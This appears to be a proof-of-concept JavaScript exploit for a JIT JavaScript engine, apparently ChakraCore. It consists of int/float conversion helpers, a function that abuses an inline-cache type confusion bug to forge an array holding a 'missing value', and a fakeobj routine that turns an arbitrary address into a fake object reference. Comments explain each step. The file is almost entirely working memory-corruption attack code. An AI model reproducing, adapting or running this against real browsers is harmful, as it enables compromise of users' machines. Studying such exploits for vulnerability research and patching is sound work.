var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;

function hex(x) {
    return `0x${x.toString(16)}`
}

function i2f(x) {
    u32[0] = x % BASE;
    u32[1] = (x - (x % BASE)) / BASE;
    return f64[0];
}

function f2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}

// The bug lets us update the CacheInfo for a wrong type so we can create a faulty inline cache.
// We use that to confuse the JIT into thinking that the ValueInfo for tmp.x is either 1 or 2
// when in reality our bug will let us write to tmp.x through tmp.y.
// We can use that to forge a missing value array with the HasNoMissingValues flag
function opt(index) {
	var tmp = new String("aa");
	tmp.x = 2;
	once = 1;
	for (let useless in tmp) {
		if (once) {
			delete tmp.x;
			once = 0;
		}
		tmp.y = index;
		tmp.x = 1;
	}
	return [1, tmp.x - 524286]; // forge missing value 0xfff80002
}

for (let i = 0; i < 0x1000; i++) {
	opt(1);
}

evil = opt(0);
evil[0] = 1.1;
// evil is now a NativeFloatArray with a missing value but the engine does not know it 


function fakeobj(addr) {
    function opt2(victim, magic_arr, hax, addr){
        let magic = magic_arr[1];
        victim[0] = 1.1;
        hax[0x100] = magic;   // change float Array to Var Array
        victim[0] = addr;   // Store unboxed double to Var Array
    }

    for (let i = 0; i < 10000; i++){
        let ary = [2,3,4,5,6.6,7,8,9];
        delete ary[1];
        opt2(ary, [1.1,2.2], ary, 1.1);
    }

    let victim = [1.1,2.2];

    opt2(victim, evil, victim, i2f(addr));
    return victim[0];
}
print(fakeobj(0x12345670));